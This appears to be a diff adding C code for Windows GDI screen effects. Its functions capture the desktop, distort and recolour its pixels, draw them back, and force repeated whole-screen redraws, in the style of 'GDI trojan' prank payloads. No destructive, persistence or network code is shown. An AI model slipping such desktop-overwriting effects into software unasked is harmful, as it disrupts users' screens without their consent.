| 798 |
+
WINAPI
|
| 799 |
+
GdiShader4(
|
| 800 |
+
_In_ INT t,
|
| 801 |
+
_In_ INT w,
|
| 802 |
+
_In_ INT h,
|
| 803 |
+
_In_ HDC hdcTemp,
|
| 804 |
+
_In_ HBITMAP hbmTemp,
|
| 805 |
+
_In_ PRGBQUAD prgbSrc,
|
| 806 |
+
_Inout_ PRGBQUAD prgbDst
|
| 807 |
+
)
|
| 808 |
+
{
|
| 809 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 810 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 811 |
+
|
| 812 |
+
UINT u;
|
| 813 |
+
UINT v;
|
| 814 |
+
RGBQUAD rgbDst;
|
| 815 |
+
RGBQUAD rgbSrc;
|
| 816 |
+
FLOAT _t = (FLOAT)t / 540.f;
|
| 817 |
+
FLOAT a = (FLOAT)t / 39.f;
|
| 818 |
+
FLOAT b = FastSine(a) * _t;
|
| 819 |
+
FLOAT c = FastCosine(a) * _t;
|
| 820 |
+
FLOAT centerX = (FLOAT)w / 50;
|
| 821 |
+
FLOAT centerY = (FLOAT)h / 100;
|
| 822 |
+
|
| 823 |
+
while (b < 5.f)
|
| 824 |
+
{
|
| 825 |
+
b += PI * 3.f;
|
| 826 |
+
}
|
| 827 |
+
|
| 828 |
+
while (c < 4.f)
|
| 829 |
+
{
|
| 830 |
+
c += PI * 4.f;
|
| 831 |
+
}
|
| 832 |
+
|
| 833 |
+
for (INT y = 0; y < h; y++)
|
| 834 |
+
{
|
| 835 |
+
for (INT x = 0; x < w; x++)
|
| 836 |
+
{
|
| 837 |
+
u = (UINT)((x - centerX) * FastCosine(b) - (y - centerY) * FastSine(c) + centerX);
|
| 838 |
+
v = (UINT)((x - centerX) * FastSine(c) + (y - centerY) * FastCosine(b) + centerY);
|
| 839 |
+
|
| 840 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 841 |
+
|
| 842 |
+
rgbDst = prgbSrc[v * w + u];
|
| 843 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 844 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 845 |
+
|
| 846 |
+
if ((t / 21) % 2)
|
| 847 |
+
{
|
| 848 |
+
rgbDst.rgb = ~rgbDst.rgb;
|
| 849 |
+
}
|
| 850 |
+
|
| 851 |
+
prgbDst[y * w + x] = rgbDst;
|
| 852 |
+
}
|
| 853 |
+
}
|
| 854 |
+
}
|
| 855 |
+
|
| 856 |
+
VOID
|
| 857 |
+
WINAPI
|
| 858 |
+
GdiShader5(
|
| 859 |
+
_In_ INT t,
|
| 860 |
+
_In_ INT w,
|
| 861 |
+
_In_ INT h,
|
| 862 |
+
_In_ HDC hdcTemp,
|
| 863 |
+
_In_ HBITMAP hbmTemp,
|
| 864 |
+
_In_ PRGBQUAD prgbSrc,
|
| 865 |
+
_Inout_ PRGBQUAD prgbDst
|
| 866 |
+
)
|
| 867 |
+
{
|
| 868 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 869 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 870 |
+
|
| 871 |
+
UINT u;
|
| 872 |
+
UINT v;
|
| 873 |
+
RGBQUAD rgbDst;
|
| 874 |
+
RGBQUAD rgbSrc;
|
| 875 |
+
|
| 876 |
+
for (INT y = 0; y < h; y++)
|
| 877 |
+
{
|
| 878 |
+
for (INT x = 0; x < w; x++)
|
| 879 |
+
{
|
| 880 |
+
INT a = 5000;
|
| 881 |
+
INT b = 5000;
|
| 882 |
+
|
| 883 |
+
u = ~((a + t) & y);
|
| 884 |
+
v = ~((b + t) & x);
|
| 885 |
+
|
| 886 |
+
u %= w;
|
| 887 |
+
v %= h;
|
| 888 |
+
|
| 889 |
+
rgbDst = prgbSrc[v * w + u];
|
| 890 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 891 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 892 |
+
|
| 893 |
+
prgbDst[y * w + x] = rgbDst;
|
| 894 |
+
}
|
| 895 |
+
}
|
| 896 |
+
}
|
| 897 |
+
|
| 898 |
+
VOID
|
| 899 |
+
WINAPI
|
| 900 |
+
PostGdiShader4(
|
| 901 |
+
_In_ INT t,
|
| 902 |
+
_In_ INT w,
|
| 903 |
+
_In_ INT h,
|
| 904 |
+
_In_ RECT rcBounds,
|
| 905 |
+
_In_ HDC hdcDst,
|
| 906 |
+
_In_ HDC hdcTemp
|
| 907 |
+
)
|
| 908 |
+
{
|
| 909 |
+
UNREFERENCED_PARAMETER(hdcDst);
|
| 910 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 911 |
+
|
| 912 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 913 |
+
|
| 914 |
+
if (!(t % 8))
|
| 915 |
+
{
|
| 916 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 917 |
+
}
|
| 918 |
+
}
|
| 919 |
+
|
| 920 |
+
VOID
|
| 921 |
+
WINAPI
|
| 922 |
+
GdiShader6(
|
| 923 |
+
_In_ INT t,
|
| 924 |
+
_In_ INT w,
|
| 925 |
+
_In_ INT h,
|
| 926 |
+
_In_ HDC hdcTemp,
|
| 927 |
+
_In_ HBITMAP hbmTemp,
|
| 928 |
+
_In_ PRGBQUAD prgbSrc,
|
| 929 |
+
_Inout_ PRGBQUAD prgbDst
|
| 930 |
+
)
|
| 931 |
+
{
|
| 932 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 933 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 934 |
+
|
| 935 |
+
UINT u;
|
| 936 |
+
UINT v;
|
| 937 |
+
FLOAT div = (FLOAT)t / 24.f;
|
| 938 |
+
FLOAT a = FastCosine(div) * 2.f * PI;
|
| 939 |
+
BOOL bShiftDir = (BOOL)(Xorshift32() & 1);
|
| 940 |
+
BYTE bChannels = (BYTE)(Xorshift32() & 9);
|
| 941 |
+
RGBQUAD rgbSrc;
|
| 942 |
+
RGBQUAD rgbDst;
|
| 943 |
+
|
| 944 |
+
for (INT y = 0; y < h; y++)
|
| 945 |
+
{
|
| 946 |
+
for (INT x = 0; x < w; x++)
|
| 947 |
+
{
|
| 948 |
+
FLOAT b = (FLOAT)(x + y + t * 12) / 16.f;
|
| 949 |
+
FLOAT c = FastSine(a + b) * 68.f;
|
| 950 |
+
|
| 951 |
+
u = x + (INT)a, v = y + (INT)c;
|
| 952 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 953 |
+
|
| 954 |
+
rgbDst = prgbSrc[v * w + x];
|
| 955 |
+
|
| 956 |
+
if (bShiftDir)
|
| 957 |
+
{
|
| 958 |
+
rgbDst.rgb <<= 1;
|
| 959 |
+
}
|
| 960 |
+
else
|
| 961 |
+
{
|
| 962 |
+
rgbDst.rgb >>= 1;
|
| 963 |
+
}
|
| 964 |
+
|
| 965 |
+
rgbSrc = prgbSrc[v * w + x];
|
| 966 |
+
rgbDst.rgb ^= rgbSrc.rgb;
|
| 967 |
+
|
| 968 |
+
if (bChannels & 0b001)
|
| 969 |
+
{
|
| 970 |
+
rgbDst.b |= rgbSrc.b;
|
| 971 |
+
}
|
| 972 |
+
|
| 973 |
+
if (bChannels & 0b010)
|
| 974 |
+
{
|
| 975 |
+
rgbDst.g |= rgbSrc.g;
|
| 976 |
+
}
|
| 977 |
+
|
| 978 |
+
if (bChannels & 0b100)
|
| 979 |
+
{
|
| 980 |
+
rgbDst.r |= rgbSrc.r;
|
| 981 |
+
}
|
| 982 |
+
|
| 983 |
+
prgbDst[y * w + u] = rgbDst;
|
| 984 |
+
}
|
| 985 |
+
}
|
| 986 |
+
}
|
| 987 |
+
|
| 988 |
+
VOID
|
| 989 |
+
WINAPI
|
| 990 |
+
GdiShader7(
|
| 991 |
+
_In_ INT t,
|
| 992 |
+
_In_ INT w,
|
| 993 |
+
_In_ INT h,
|
| 994 |
+
_In_ HDC hdcTemp,
|
| 995 |
+
_In_ HBITMAP hbmTemp,
|
| 996 |
+
_In_ PRGBQUAD prgbSrc,
|
| 997 |
+
_Inout_ PRGBQUAD prgbDst
|
| 998 |
+
)
|
| 999 |
+
{
|
| 1000 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1001 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1002 |
+
|
| 1003 |
+
UINT u;
|
| 1004 |
+
UINT v;
|
| 1005 |
+
RGBQUAD rgbDst;
|
| 1006 |
+
RGBQUAD rgbSrc;
|
| 1007 |
+
BOOL bOperation = (BOOL)(Xorshift32() % 21);
|
| 1008 |
+
|
| 1009 |
+
for (INT y = 0; y < h; y++)
|
| 1010 |
+
{
|
| 1011 |
+
for (INT x = 0; x < w; x++)
|
| 1012 |
+
{
|
| 1013 |
+
u = (x + t * 284) ^ (y + t * y) ^ t;
|
| 1014 |
+
v = (x + t * 128) + (y + t * y) ^ t;
|
| 1015 |
+
|
| 1016 |
+
u %= w;
|
| 1017 |
+
v %= h;
|
| 1018 |
+
|
| 1019 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1020 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1021 |
+
|
| 1022 |
+
if (bOperation)
|
| 1023 |
+
{
|
| 1024 |
+
rgbDst.rgb |= rgbSrc.rgb;
|
| 1025 |
+
}
|
| 1026 |
+
else
|
| 1027 |
+
{
|
| 1028 |
+
rgbDst.rgb &= rgbSrc.rgb;
|
| 1029 |
+
}
|
| 1030 |
+
|
| 1031 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1032 |
+
}
|
| 1033 |
+
}
|
| 1034 |
+
}
|
| 1035 |
+
|
| 1036 |
+
VOID
|
| 1037 |
+
WINAPI
|
| 1038 |
+
PostGdiShader5(
|
| 1039 |
+
_In_ INT t,
|
| 1040 |
+
_In_ INT w,
|
| 1041 |
+
_In_ INT h,
|
| 1042 |
+
_In_ RECT rcBounds,
|
| 1043 |
+
_In_ HDC hdcDst,
|
| 1044 |
+
_In_ HDC hdcTemp
|
| 1045 |
+
)
|
| 1046 |
+
{
|
| 1047 |
+
if (!(t % 4))
|
| 1048 |
+
{
|
| 1049 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 1050 |
+
}
|
| 1051 |
+
else
|
| 1052 |
+
{
|
| 1053 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, NOTSRCCOPY);
|
| 1054 |
+
}
|
| 1055 |
+
}
|
| 1056 |
+
|
| 1057 |
+
VOID
|
| 1058 |
+
WINAPI
|
| 1059 |
+
PreGdiShader1(
|
| 1060 |
+
_In_ INT t,
|
| 1061 |
+
_In_ INT w,
|
| 1062 |
+
_In_ INT h,
|
| 1063 |
+
_In_ RECT rcBounds,
|
| 1064 |
+
_In_ HDC hdcDst,
|
| 1065 |
+
_In_ HDC hdcTemp
|
| 1066 |
+
)
|
| 1067 |
+
{
|
| 1068 |
+
UNREFERENCED_PARAMETER(t);
|
| 1069 |
+
|
| 1070 |
+
BitBlt(hdcTemp, 0, 0, w, h, hdcDst, rcBounds.left, rcBounds.top, SRCCOPY);
|
| 1071 |
+
|
| 1072 |
+
for (INT i = 0; i < 5; i++)
|
| 1073 |
+
{
|
| 1074 |
+
INT nBlockSize = Xorshift32() % 19 + 12 + 2;
|
| 1075 |
+
INT nNewBlockSize = nBlockSize + (Xorshift32() % 17 + 9 + 16 + 2);
|
| 1076 |
+
INT x = Xorshift32() % (w - nBlockSize);
|
| 1077 |
+
INT y = Xorshift32() % (h - nBlockSize);
|
| 1078 |
+
|
| 1079 |
+
StretchBlt(hdcTemp, x - (nNewBlockSize - nBlockSize) / 2, y - (nNewBlockSize - nBlockSize) / 2,
|
| 1080 |
+
nNewBlockSize, nNewBlockSize, hdcTemp, x, y, nBlockSize, nBlockSize, SRCCOPY);
|
| 1081 |
+
}
|
| 1082 |
+
}
|
| 1083 |
+
|
| 1084 |
+
VOID
|
| 1085 |
+
WINAPI
|
| 1086 |
+
GdiShader8(
|
| 1087 |
+
_In_ INT t,
|
| 1088 |
+
_In_ INT w,
|
| 1089 |
+
_In_ INT h,
|
| 1090 |
+
_In_ HDC hdcTemp,
|
| 1091 |
+
_In_ HBITMAP hbmTemp,
|
| 1092 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1093 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1094 |
+
)
|
| 1095 |
+
{
|
| 1096 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1097 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1098 |
+
|
| 1099 |
+
UINT u;
|
| 1100 |
+
UINT v;
|
| 1101 |
+
FLOAT div = (FLOAT)t / 1.f;
|
| 1102 |
+
FLOAT a = FastSine(div) * 2.f;
|
| 1103 |
+
FLOAT b = FastCosine(div) * 2.f;
|
| 1104 |
+
FLOAT f = 1.f / 4.f;
|
| 1105 |
+
RGBQUAD rgbDst;
|
| 1106 |
+
RGBQUAD rgbSrc;
|
| 1107 |
+
HSLCOLOR hsl;
|
| 1108 |
+
|
| 1109 |
+
for (INT y = 0; y < h; y++)
|
| 1110 |
+
{
|
| 1111 |
+
for (INT x = 0; x < w; x++)
|
| 1112 |
+
{
|
| 1113 |
+
u = x + (INT)a + (INT)(TriangleWave(y, t, h) * 8.f);
|
| 1114 |
+
v = y + (INT)b;
|
| 1115 |
+
|
| 1116 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1117 |
+
|
| 1118 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1119 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1120 |
+
|
| 1121 |
+
if (!rgbSrc.rgb)
|
| 1122 |
+
{
|
| 1123 |
+
rgbSrc.rgb = 1;
|
| 1124 |
+
}
|
| 1125 |
+
|
| 1126 |
+
rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 18) + 1);
|
| 1127 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (3.f - f);
|
| 1128 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (14.f - f);
|
| 1129 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (10.f - f);
|
| 1130 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 2));
|
| 1131 |
+
|
| 1132 |
+
hsl = RGBToHSL(rgbDst);
|
| 1133 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + (DOUBLE)(x + y) / 100000.0 + 0.05, 1.0);
|
| 1134 |
+
hsl.s = 1.f;
|
| 1135 |
+
|
| 1136 |
+
if (hsl.l < .3f)
|
| 1137 |
+
{
|
| 1138 |
+
hsl.l += .2f;
|
| 1139 |
+
}
|
| 1140 |
+
|
| 1141 |
+
rgbDst = HSLToRGB(hsl);
|
| 1142 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1143 |
+
}
|
| 1144 |
+
}
|
| 1145 |
+
}
|
| 1146 |
+
|
| 1147 |
+
VOID
|
| 1148 |
+
WINAPI
|
| 1149 |
+
PostGdiShader6(
|
| 1150 |
+
_In_ INT t,
|
| 1151 |
+
_In_ INT w,
|
| 1152 |
+
_In_ INT h,
|
| 1153 |
+
_In_ RECT rcBounds,
|
| 1154 |
+
_In_ HDC hdcDst,
|
| 1155 |
+
_In_ HDC hdcTemp
|
| 1156 |
+
)
|
| 1157 |
+
{
|
| 1158 |
+
if (!(t % 32))
|
| 1159 |
+
{
|
| 1160 |
+
RedrawWindow(NULL, NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
| 1161 |
+
}
|
| 1162 |
+
else
|
| 1163 |
+
{
|
| 1164 |
+
BitBlt(hdcDst, rcBounds.left, rcBounds.top, w, h, hdcTemp, 0, 0, SRCCOPY);
|
| 1165 |
+
}
|
| 1166 |
+
}
|
| 1167 |
+
|
| 1168 |
+
VOID
|
| 1169 |
+
WINAPI
|
| 1170 |
+
GdiShader9(
|
| 1171 |
+
_In_ INT t,
|
| 1172 |
+
_In_ INT w,
|
| 1173 |
+
_In_ INT h,
|
| 1174 |
+
_In_ HDC hdcTemp,
|
| 1175 |
+
_In_ HBITMAP hbmTemp,
|
| 1176 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1177 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1178 |
+
)
|
| 1179 |
+
{
|
| 1180 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1181 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1182 |
+
|
| 1183 |
+
UINT u;
|
| 1184 |
+
UINT v;
|
| 1185 |
+
FLOAT div = (FLOAT)t / 15.f;
|
| 1186 |
+
FLOAT a = FastSine(div) * 4.f;
|
| 1187 |
+
FLOAT b = FastCosine(div) * 2.f;
|
| 1188 |
+
FLOAT f = 1.f / 3.f;
|
| 1189 |
+
RGBQUAD rgbDst;
|
| 1190 |
+
RGBQUAD rgbSrc;
|
| 1191 |
+
HSLCOLOR hsl;
|
| 1192 |
+
|
| 1193 |
+
for (INT y = 0; y < h; y++)
|
| 1194 |
+
{
|
| 1195 |
+
for (INT x = 0; x < w; x++)
|
| 1196 |
+
{
|
| 1197 |
+
u = x + (INT)a + (INT)(SawtoothWave(y, t, h) * 18.f);
|
| 1198 |
+
v = y + (INT)b;
|
| 1199 |
+
|
| 1200 |
+
Reflect2D((PINT)&u, (PINT)&v, w, h);
|
| 1201 |
+
|
| 1202 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1203 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1204 |
+
|
| 1205 |
+
if (!rgbSrc.rgb)
|
| 1206 |
+
{
|
| 1207 |
+
rgbSrc.rgb = 1;
|
| 1208 |
+
}
|
| 1209 |
+
|
| 1210 |
+
rgbDst.rgb &= rgbDst.rgb % ((rgbSrc.rgb << 8) + 1);
|
| 1211 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (4.f - f);
|
| 1212 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (6.f - f);
|
| 1213 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (7.f - f);
|
| 1214 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
|
| 1215 |
+
|
| 1216 |
+
hsl = RGBToHSL(rgbDst);
|
| 1217 |
+
hsl.h /= 1.0165f;
|
| 1218 |
+
hsl.s /= 1.0135f;
|
| 1219 |
+
hsl.l /= 1.0115f;
|
| 1220 |
+
rgbDst = HSLToRGB(hsl);
|
| 1221 |
+
|
| 1222 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1223 |
+
}
|
| 1224 |
+
}
|
| 1225 |
+
}
|
| 1226 |
+
|
| 1227 |
+
VOID
|
| 1228 |
+
WINAPI
|
| 1229 |
+
GdiShader10(
|
| 1230 |
+
_In_ INT t,
|
| 1231 |
+
_In_ INT w,
|
| 1232 |
+
_In_ INT h,
|
| 1233 |
+
_In_ HDC hdcTemp,
|
| 1234 |
+
_In_ HBITMAP hbmTemp,
|
| 1235 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1236 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1237 |
+
)
|
| 1238 |
+
{
|
| 1239 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1240 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1241 |
+
|
| 1242 |
+
UINT u;
|
| 1243 |
+
UINT v;
|
| 1244 |
+
FLOAT f = 1.f / 4.f;
|
| 1245 |
+
RGBQUAD rgbDst;
|
| 1246 |
+
RGBQUAD rgbSrc;
|
| 1247 |
+
HSLCOLOR hsl;
|
| 1248 |
+
|
| 1249 |
+
for (INT y = 0; y < h; y++)
|
| 1250 |
+
{
|
| 1251 |
+
for (INT x = 0; x < w; x++)
|
| 1252 |
+
{
|
| 1253 |
+
u = x + ((t + y) % 34) * -1;
|
| 1254 |
+
v = y + (t + x) % 54;
|
| 1255 |
+
|
| 1256 |
+
u %= w;
|
| 1257 |
+
v %= h;
|
| 1258 |
+
|
| 1259 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1260 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1261 |
+
|
| 1262 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
|
| 1263 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
|
| 1264 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
|
| 1265 |
+
rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
|
| 1266 |
+
|
| 1267 |
+
hsl = RGBToHSL(rgbDst);
|
| 1268 |
+
hsl.s = .5f;
|
| 1269 |
+
hsl.l *= 1.125f;
|
| 1270 |
+
|
| 1271 |
+
if (hsl.l > .5f)
|
| 1272 |
+
{
|
| 1273 |
+
hsl.l -= .5f;
|
| 1274 |
+
}
|
| 1275 |
+
|
| 1276 |
+
if (hsl.l < .25f)
|
| 1277 |
+
{
|
| 1278 |
+
hsl.l += .25f;
|
| 1279 |
+
}
|
| 1280 |
+
|
| 1281 |
+
rgbDst = HSLToRGB(hsl);
|
| 1282 |
+
|
| 1283 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1284 |
+
}
|
| 1285 |
+
}
|
| 1286 |
+
}
|
| 1287 |
+
|
| 1288 |
+
VOID
|
| 1289 |
+
WINAPI
|
| 1290 |
+
GdiShader11(
|
| 1291 |
+
_In_ INT t,
|
| 1292 |
+
_In_ INT w,
|
| 1293 |
+
_In_ INT h,
|
| 1294 |
+
_In_ HDC hdcTemp,
|
| 1295 |
+
_In_ HBITMAP hbmTemp,
|
| 1296 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1297 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1298 |
+
)
|
| 1299 |
+
{
|
| 1300 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1301 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1302 |
+
|
| 1303 |
+
UINT u;
|
| 1304 |
+
UINT v;
|
| 1305 |
+
FLOAT f = 1.f / 4.f;
|
| 1306 |
+
RGBQUAD rgbDst;
|
| 1307 |
+
RGBQUAD rgbSrc;
|
| 1308 |
+
HSLCOLOR hsl;
|
| 1309 |
+
|
| 1310 |
+
for (INT y = 0; y < h; y++)
|
| 1311 |
+
{
|
| 1312 |
+
for (INT x = 0; x < w; x++)
|
| 1313 |
+
{
|
| 1314 |
+
u = x + y / (h / 19);
|
| 1315 |
+
v = y + u / (w / 1);
|
| 1316 |
+
u = x + v / (h / 13);
|
| 1317 |
+
|
| 1318 |
+
u %= w;
|
| 1319 |
+
v %= h;
|
| 1320 |
+
|
| 1321 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1322 |
+
rgbSrc = prgbSrc[y * w + x];
|
| 1323 |
+
|
| 1324 |
+
FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
|
| 1325 |
+
FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
|
| 1326 |
+
FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
|
| 1327 |
+
rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
|
| 1328 |
+
|
| 1329 |
+
hsl = RGBToHSL(rgbDst);
|
| 1330 |
+
|
| 1331 |
+
if (hsl.s < .5f)
|
| 1332 |
+
{
|
| 1333 |
+
hsl.s = .5f;
|
| 1334 |
+
}
|
| 1335 |
+
|
| 1336 |
+
if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
|
| 1337 |
+
{
|
| 1338 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
|
| 1339 |
+
}
|
| 1340 |
+
else
|
| 1341 |
+
{
|
| 1342 |
+
hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
|
| 1343 |
+
}
|
| 1344 |
+
|
| 1345 |
+
rgbDst = HSLToRGB(hsl);
|
| 1346 |
+
|
| 1347 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1348 |
+
}
|
| 1349 |
+
}
|
| 1350 |
+
}
|
| 1351 |
+
|
| 1352 |
+
VOID
|
| 1353 |
+
WINAPI
|
| 1354 |
+
GdiShader12(
|
| 1355 |
+
_In_ INT t,
|
| 1356 |
+
_In_ INT w,
|
| 1357 |
+
_In_ INT h,
|
| 1358 |
+
_In_ HDC hdcTemp,
|
| 1359 |
+
_In_ HBITMAP hbmTemp,
|
| 1360 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1361 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1362 |
+
)
|
| 1363 |
+
{
|
| 1364 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1365 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1366 |
+
|
| 1367 |
+
UINT u;
|
| 1368 |
+
UINT v;
|
| 1369 |
+
RGBQUAD rgbDst;
|
| 1370 |
+
|
| 1371 |
+
for (INT y = 0; y < h; y++)
|
| 1372 |
+
{
|
| 1373 |
+
FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
|
| 1374 |
+
|
| 1375 |
+
for (INT x = 0; x < w; x++)
|
| 1376 |
+
{
|
| 1377 |
+
u = x + (INT)a;
|
| 1378 |
+
v = y;
|
| 1379 |
+
|
| 1380 |
+
u %= w;
|
| 1381 |
+
v %= h;
|
| 1382 |
+
|
| 1383 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1384 |
+
rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
|
| 1385 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1386 |
+
}
|
| 1387 |
+
}
|
| 1388 |
+
}
|
| 1389 |
+
|
| 1390 |
+
VOID
|
| 1391 |
+
WINAPI
|
| 1392 |
+
GdiShader13(
|
| 1393 |
+
_In_ INT t,
|
| 1394 |
+
_In_ INT w,
|
| 1395 |
+
_In_ INT h,
|
| 1396 |
+
_In_ HDC hdcTemp,
|
| 1397 |
+
_In_ HBITMAP hbmTemp,
|
| 1398 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1399 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1400 |
+
)
|
| 1401 |
+
{
|
| 1402 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1403 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1404 |
+
|
| 1405 |
+
UINT u;
|
| 1406 |
+
UINT v;
|
| 1407 |
+
RGBQUAD rgbDst;
|
| 1408 |
+
|
| 1409 |
+
for (INT y = 0; y < h; y++)
|
| 1410 |
+
{
|
| 1411 |
+
FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
|
| 1412 |
+
|
| 1413 |
+
for (INT x = 0; x < w; x++)
|
| 1414 |
+
{
|
| 1415 |
+
u = x + (INT)a;
|
| 1416 |
+
v = y;
|
| 1417 |
+
|
| 1418 |
+
u %= w;
|
| 1419 |
+
v %= h;
|
| 1420 |
+
|
| 1421 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1422 |
+
rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
|
| 1423 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1424 |
+
}
|
| 1425 |
+
}
|
| 1426 |
+
}
|
| 1427 |
+
|
| 1428 |
+
VOID
|
| 1429 |
+
WINAPI
|
| 1430 |
+
GdiShader14(
|
| 1431 |
+
_In_ INT t,
|
| 1432 |
+
_In_ INT w,
|
| 1433 |
+
_In_ INT h,
|
| 1434 |
+
_In_ HDC hdcTemp,
|
| 1435 |
+
_In_ HBITMAP hbmTemp,
|
| 1436 |
+
_In_ PRGBQUAD prgbSrc,
|
| 1437 |
+
_Inout_ PRGBQUAD prgbDst
|
| 1438 |
+
)
|
| 1439 |
+
{
|
| 1440 |
+
UNREFERENCED_PARAMETER(hdcTemp);
|
| 1441 |
+
UNREFERENCED_PARAMETER(hbmTemp);
|
| 1442 |
+
|
| 1443 |
+
UINT u;
|
| 1444 |
+
UINT v;
|
| 1445 |
+
RGBQUAD rgbDst;
|
| 1446 |
+
|
| 1447 |
+
for (INT y = 0; y < h; y++)
|
| 1448 |
+
{
|
| 1449 |
+
FLOAT a = FastSine(2 * 1 + 3) * 1.f;
|
| 1450 |
+
|
| 1451 |
+
for (INT x = 0; x < w; x++)
|
| 1452 |
+
{
|
| 1453 |
+
u = x + (INT)a;
|
| 1454 |
+
v = y;
|
| 1455 |
+
|
| 1456 |
+
u %= w;
|
| 1457 |
+
v %= h;
|
| 1458 |
+
|
| 1459 |
+
rgbDst = prgbSrc[v * w + u];
|
| 1460 |
+
rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
|
| 1461 |
+
prgbDst[y * w + x] = rgbDst;
|
| 1462 |
+
}
|
| 1463 |
+
}
|
| 1464 |
+
}
|
| 1465 |
+
|
